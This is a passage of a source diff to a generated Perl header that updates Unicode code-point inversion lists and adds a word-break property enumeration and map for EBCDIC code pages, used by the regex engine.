0xAAEB, + 0xAAF0, + 0xAAF2, + 0xAAF5, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, + 0xABE3, + 0xABEB, + 0xABEC, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB1E, + 0xFB1F, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFB50, + 0xFBB2, + 0xFBD3, + 0xFD3E, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFC, + 0xFE00, + 0xFE10, + 0xFE11, + 0xFE13, + 0xFE14, + 0xFE15, + 0xFE20, + 0xFE30, + 0xFE33, + 0xFE35, + 0xFE4D, + 0xFE50, + 0xFE51, + 0xFE52, + 0xFE53, + 0xFE54, + 0xFE55, + 0xFE56, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFEFF, + 0xFF00, + 0xFF07, + 0xFF08, + 0xFF0C, + 0xFF0D, + 0xFF0E, + 0xFF0F, + 0xFF1A, + 0xFF1B, + 0xFF1C, + 0xFF21, + 0xFF3B, + 0xFF3F, + 0xFF40, + 0xFF41, + 0xFF5B, + 0xFF66, + 0xFF9E, + 0xFFA0, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0xFFF9, 0xFFFC, - 0xFFFE, - 0x10137, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, + 0x10175, 0x101FD, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102E1, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, + 0x10376, + 0x1037B, + 0x10380, + 0x1039E, + 0x103A0, + 0x103C4, + 0x103C8, + 0x103D0, + 0x103D1, + 0x103D6, + 0x10400, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, 0x10877, - 0x10879, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x10900, + 0x10916, + 0x10920, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, + 0x10A01, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A10, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A40, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, 0x10AC8, 0x10AC9, - 0x1173F, - 0x11740, - 0x16B3C, + 0x10AE5, + 0x10AE7, + 0x10B00, + 0x10B36, + 0x10B40, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x11000, + 0x11003, + 0x11038, + 0x11047, + 0x11066, + 0x11070, + 0x1107F, + 0x11083, + 0x110B0, + 0x110BB, + 0x110BD, + 0x110BE, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11103, + 0x11127, + 0x11135, + 0x11136, + 0x11140, + 0x11150, + 0x11173, + 0x11174, + 0x11176, + 0x11177, + 0x11180, + 0x11183, + 0x111B3, + 0x111C1, + 0x111C5, + 0x111CA, + 0x111CD, + 0x111D0, + 0x111DA, + 0x111DB, + 0x111DC, + 0x111DD, + 0x11200, + 0x11212, + 0x11213, + 0x1122C, + 0x11238, + 0x1123E, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112A9, + 0x112B0, + 0x112DF, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x1133D, + 0x1133E, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11362, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x11435, + 0x11447, + 0x1144B, + 0x11450, + 0x1145A, + 0x11480, + 0x114B0, + 0x114C4, + 0x114C6, + 0x114C7, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115AF, + 0x115B6, + 0x115B8, + 0x115C1, + 0x115D8, + 0x115DC, + 0x115DE, + 0x11600, + 0x11630, + 0x11641, + 0x11644, + 0x11645, + 0x11650, + 0x1165A, + 0x11680, + 0x116AB, + 0x116B8, + 0x116C0, + 0x116CA, + 0x1171D, + 0x1172C, + 0x11730, + 0x1173A, + 0x118A0, + 0x118E0, + 0x118EA, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C2F, + 0x11C37, + 0x11C38, + 0x11C40, + 0x11C41, + 0x11C50, + 0x11C5A, + 0x11C72, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF5, + 0x16B00, + 0x16B30, + 0x16B37, 0x16B40, - 0x16B45, - 0x16B46, - 0x1BC9C, + 0x16B44, + 0x16B50, + 0x16B5A, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F51, + 0x16F7F, + 0x16F8F, + 0x16F93, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x1B000, + 0x1B001, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, 0x1BC9D, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, + 0x1BC9F, + 0x1BCA0, + 0x1BCA4, 0x1D165, 0x1D16A, 0x1D16D, + 0x1D173, + 0x1D17B, 0x1D183, 0x1D185, 0x1D18C, 0x1D1AA, 0x1D1AE, - 0x1D1E9, - 0x1D200, 0x1D242, 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D6C1, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6FB, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D735, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D76F, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D7A9, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CC, + 0x1D7CE, 0x1D800, 0x1DA00, 0x1DA37, @@ -348596,827 +51567,3654 @@ static const UV PL_SO_invlist[] = { /* for EBCDIC 037 */ 0x1DA76, 0x1DA84, 0x1DA85, - 0x1DA87, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F110, - 0x1F12F, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8D0, + 0x1E8D7, + 0x1E900, + 0x1E944, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, 0x1F130, - 0x1F16C, + 0x1F14A, + 0x1F150, + 0x1F16A, 0x1F170, - 0x1F1AD, + 0x1F18A, 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, + 0x1F200, + 0x1F385, + 0x1F386, + 0x1F3C3, + 0x1F3C5, + 0x1F3CA, + 0x1F3CC, 0x1F3FB, 0x1F400, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, + 0x1F442, + 0x1F444, + 0x1F446, + 0x1F451, + 0x1F466, + 0x1F46A, + 0x1F46E, + 0x1F46F, + 0x1F470, + 0x1F479, + 0x1F47C, + 0x1F47D, + 0x1F481, + 0x1F484, + 0x1F485, + 0x1F488, + 0x1F48B, + 0x1F48C, + 0x1F4AA, + 0x1F4AB, + 0x1F575, + 0x1F576, + 0x1F57A, + 0x1F57B, + 0x1F590, + 0x1F591, + 0x1F595, + 0x1F597, + 0x1F5E8, + 0x1F5E9, + 0x1F645, + 0x1F648, + 0x1F64B, + 0x1F650, + 0x1F6A3, + 0x1F6A4, + 0x1F6B4, + 0x1F6B7, + 0x1F6C0, + 0x1F6C1, + 0x1F918, + 0x1F91F, + 0x1F926, + 0x1F927, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93A, + 0x1F93C, 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7 + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0 +}; + +#endif /* defined(PERL_IN_PERL_C) */ + +#if defined(PERL_IN_REGEXEC_C) + +#define WB_ENUM_COUNT 25 + +typedef enum { + WB_Other = 0, + WB_ALetter = 1, + WB_CR = 2, + WB_Double_Quote = 3, + WB_E_Base = 4, + WB_E_Base_GAZ = 5, + WB_E_Modifier = 6, + WB_Extend = 7, + WB_ExtendNumLet = 8, + WB_Format = 9, + WB_Glue_After_Zwj = 10, + WB_Hebrew_Letter = 11, + WB_Katakana = 12, + WB_LF = 13, + WB_MidLetter = 14, + WB_MidNum = 15, + WB_MidNumLet = 16, + WB_Newline = 17, + WB_Numeric = 18, + WB_Perl_Tailored_HSpace = 19, + WB_Regional_Indicator = 20, + WB_Single_Quote = 21, + WB_ZWJ = 22, + WB_EDGE = 23, + WB_UNKNOWN = 24 +} WB_enum; + +static const WB_enum _Perl_WB_invmap[] = { /* for EBCDIC 1047 */ + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Other, + WB_Newline, + WB_CR, + WB_Other, + WB_LF, + WB_Other, + WB_Newline, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_ALetter, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidNum, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidLetter, + WB_Other, + WB_Single_Quote, + WB_Other, + WB_Double_Quote, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidLetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Format, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidLetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_MidNum, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_MidLetter, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_MidNum, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_ALetter, + WB_MidLetter, + WB_Other, + WB_Format, + WB_Other, + WB_MidNum, + WB_Other, + WB_Extend, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Numeric, + WB_Other, + WB_Numeric, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Format, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Format, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Format, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Numeric, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Perl_Tailored_HSpace, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Format, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Numeric, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Other, + WB_Extend, + WB_ZWJ, + WB_Format, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidLetter, + WB_Newline, + WB_Format, + WB_ExtendNumLet, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_MidNum, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Format, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Glue_After_Zwj, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + 